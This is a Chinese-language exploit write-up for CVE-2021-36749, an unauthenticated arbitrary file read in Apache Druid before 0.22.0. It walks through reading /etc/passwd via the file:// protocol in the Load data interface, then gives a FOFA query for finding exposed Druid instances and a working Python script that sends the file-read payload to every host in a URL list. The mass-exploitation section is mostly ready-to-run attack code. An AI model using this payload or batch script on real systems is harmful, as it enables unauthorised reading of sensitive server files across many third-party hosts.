Apache Druid 任意文件读取漏洞(CVE-2021-36749)

0x00 前言

Apache Druid 是一个分布式的、支持实时多维 OLAP 分析的数据处理系统。它既支持高速的数据实时摄入处理,也支持实时且灵活的多维数据分析查询。因此 Druid 最常用的场景就是大数据背景下、灵活快速的多维 OLAP 分析。Druid 还支持根据时间戳对数据进行预聚合摄入和聚合分析,因此也有用户经常在有时序数据处理分析的场景中使用。

该漏洞是由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。

0x01 影响范围

1
Apache Druid < 0.22.0

0x02 漏洞复现

点击”Load data”

image-20211206220115839

点击”http(s)://“,再点击”Connect data”

image-20211206220229598

利用file://协议进行读取

image-20211206220358096

成功读取到/etc/passwd

image-20211206220522968

0x03 漏洞批量

fofa语法

1
title="Apache Druid"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
import requests
# import threadpool

requests.packages.urllib3.disable_warnings()


def verify(urls):
url = urls + '/druid/indexer/v1/sampler?for=connect'
print(url)
headers = {"User-Agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36'}
data = {"type": "index", "spec": {"type": "index", "ioConfig": {"type": "index", "firehose": {"type": "http", "uris": ["file:///etc/passwd"]}}, "dataSchema": {"dataSource": "sample", "parser": {"type": "string", "parseSpec": {"format": "regex", "pattern": "(.*)", "columns": ["a"], "dimensionsSpec": {}, "timestampSpec": {"column": "!!!_no_such_column_!!!", "missingValue": "2010-01-01T00:00:00Z"}}}}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
try:
res = requests.post(url, headers=headers, json=data, timeout=10, verify=False, allow_redirects=False)
# print(res.text)
if 'root' in res.text:
info = '[+] 存在CVE-2021-36749漏洞: ' + urls
print(info)
except Exception as e:
pass


def get_url():
with open('urls.txt', 'r', encoding='UTF-8') as f:
urls = f.readlines()
urls = [url.strip() for url in urls if url and url.strip()]
return urls


if __name__ == '__main__':
urls = get_url()
for url in urls:
verify(url)
# pool = threadpool.ThreadPool(50)
# res = threadpool.makeRequests(verify, url)
# [pool.putRequest(req) for req in res]
# pool.wait()